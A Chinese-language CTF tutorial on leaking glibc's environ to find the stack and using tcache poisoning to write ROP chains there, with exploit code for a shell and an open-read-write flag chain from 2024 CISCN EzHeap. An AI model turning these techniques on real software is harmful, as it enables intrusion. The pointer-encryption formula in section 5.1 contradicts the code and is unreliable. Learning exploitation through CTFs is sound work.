基于environ变量的堆题攻击栈空间
字数 989 2025-08-22 18:37:14
基于environ变量的堆题攻击栈空间技术详解
一、environ变量基础
1.1 environ变量概述
- 定义:environ是Linux C中的一个全局变量,存储系统的环境变量
- 位置:位于libc库中,是连接libc地址与栈地址的桥梁
- 特性:
- 存储栈地址附近的内容
- 可以通过泄露environ变量来获取栈地址
- 函数返回地址与environ变量的距离是固定的
1.2 environ内存布局示例
pwndbg> p &environ
$1 = (char ***) 0x7ffff7ffe138 <environ>
pwndbg> tele 0x7ffff7ffe138
00:0000│ 0x7ffff7ffe138 (environ) —▸ 0x7fffffffde28 —▸ 0x7fffffffe1db ◂— 'SHELL=/bin/bash'
二、攻击原理与条件
2.1 核心攻击思路
- 泄露environ变量内容获取栈地址
- 通过调试确定目标函数返回地址与泄露地址的偏移
- 覆盖rip寄存器劫持控制流
2.2 利用条件
- 具备libc地址
- 具备heap基地址
- 能够实现任意地址写
三、攻击流程详解
3.1 泄露libc和heap基地址
# 泄露libc
add(0,0x420); add(1,0x10); dele(0); add(2,0x430); show(0)
libc_base = l64()-0x1ecfd0
# 泄露heap
edit(0,0x10,b'a'*0x10); show(0); ru(b'a'*0x10)
heap_base = u64(rc(6).ljust(8,b'\x00'))-0x290
3.2 获取environ地址
environ = libc_base + libc.sym['environ']
3.3 计算偏移
- 调试目标函数(如edit)的leave ret处查看rsp值
- 计算与environ存储地址的偏移
pwndbg> p/x 0x7fffffffde18-0x7fffffffdce0
$1 = 0x138
3.4 泄露栈地址
# 构造tcache攻击获取environ附近chunk
edit(0,0x40,p64(libc_base+0x1ecfd0)*2+p64(heap_base+0x290))
add(0,0x60); add(1,0x60); add(2,0x60)
dele(1); dele(2); edit(2,0x10,p64(environ))
add(1,0x60); add(2,0x60); show(2)
# 计算栈地址
stack_addr = l64()-0x138
3.5 实施攻击
# 构造ROP链
ret = libc_base+0x0000000000022679
rdi = libc_base+0x0000000000023b6a
system = libc_base+libc.sym['system']
binsh = libc_base+next(libc.search(b'/bin/sh\x00'))
attack = p64(ret)+p64(rdi)+p64(binsh)+p64(system)
# 再次tcache攻击写入栈空间
add(0,0x80); add(1,0x80); add(2,0x80)
dele(0); dele(1); edit(1,0x10,p64(stack_addr))
add(0,0x80); add(1,0x80)
edit(1,0x100,b'a'*0x18+attack)
四、实战案例:2024 CISCN EzHeap
4.1 题目分析
- glibc 2.35版本
- 沙箱限制:允许read/write/open/mprotect
- 漏洞点:edit函数存在堆溢出
4.2 攻击流程
4.2.1 泄露libc和heap
# 构造unsorted bin泄露libc
add(0x400,b'a'); add(0x400,b'b'); add(0x400,b'c')
edit(0,b'a'*0x400+p64(0)+p64(0x821)); dele(1)
add(0x400,b'b'); show(2)
libc_base = u64(p.recv(6).ljust(8,b'\x00'))-0x21ace0
# 泄露heap
add(0x400,b'd'); add(0x400,b'e'); add(0x400,b'f')
dele(4); dele(5); edit(1,b'b'*0x410); show(1)
heap_base = u64(p.recv(5).ljust(8,b'\x00'))*0x1000-0x2000
4.2.2 泄露栈地址
# 绕过tcache指针加密
target = environ-0x400
heap1 = (heap_base+0x3af0)>>12
fake_fd = target^heap1
# 获取environ内容
dele(7); edit(6,b'z'*0x400+p64(0)+p64(0x411)+p64(fake_fd))
add(0x400,b'd'); add(0x400,b'e')
edit(5,b'abcdefgh'*0x80); show(5)
stack_addr = l64()-0x188
4.2.3 ORW链构造
# 构造ORW ROP链
orw = b'./flag\x00\x00'
orw += p64(rdi_pop)+p64(stack_addr+0x10)
orw += p64(rsi_pop)+p64(0)
orw += p64(rdx_rbx_pop)+p64(0)*2
orw += p64(rax_pop)+p64(2)
orw += p64(syscall) # open(stack_addr+0x10,0,0)
# ... read和write部分类似
4.2.4 最终攻击
# 再次tcache攻击写入栈
add(0x300,b'iiii'); add(0x300,b'jjjj')
add(0x300,b'kkkk'); add(0x300,b'mmmm')
dele(9); dele(8)
heap2 = (heap_base+0x4210)>>12
target = stack_addr+0x10
fake_fd = heap2 ^ target
edit(7,b'a'*0x300+p64(0)+p64(0x311)+p64(fake_fd))
add(0x300,b'aaab'); add(0x300,orw)
五、关键技术与注意事项
5.1 绕过tcache加密
- glibc 2.32+引入tcache指针加密
- 加密方式:
fake_fd = (target >> 12) ^ heap_addr - 需要正确计算加密后的指针值
5.2 栈空间布局考虑
- 注意canary保护,可能需要跳过检测
- 注意rsp-0x8处的索引值不能修改
- 合理选择写入位置(如stack_addr+0x10)
5.3 沙箱绕过技巧
- 使用系统调用而非库函数
- 确保ROP链不破坏栈结构
- 合理选择open/read/write的参数
六、总结
environ变量攻击是一种强大的技术,它通过libc中的全局变量建立与栈空间的联系。掌握这种技术需要深入理解:
- 内存布局和地址关系
- 各种保护机制的绕过方法
- 精确的偏移计算
- 针对不同glibc版本的适配
通过合理利用堆漏洞和精心构造的攻击链,即使在现代保护机制下也能实现可靠的攻击。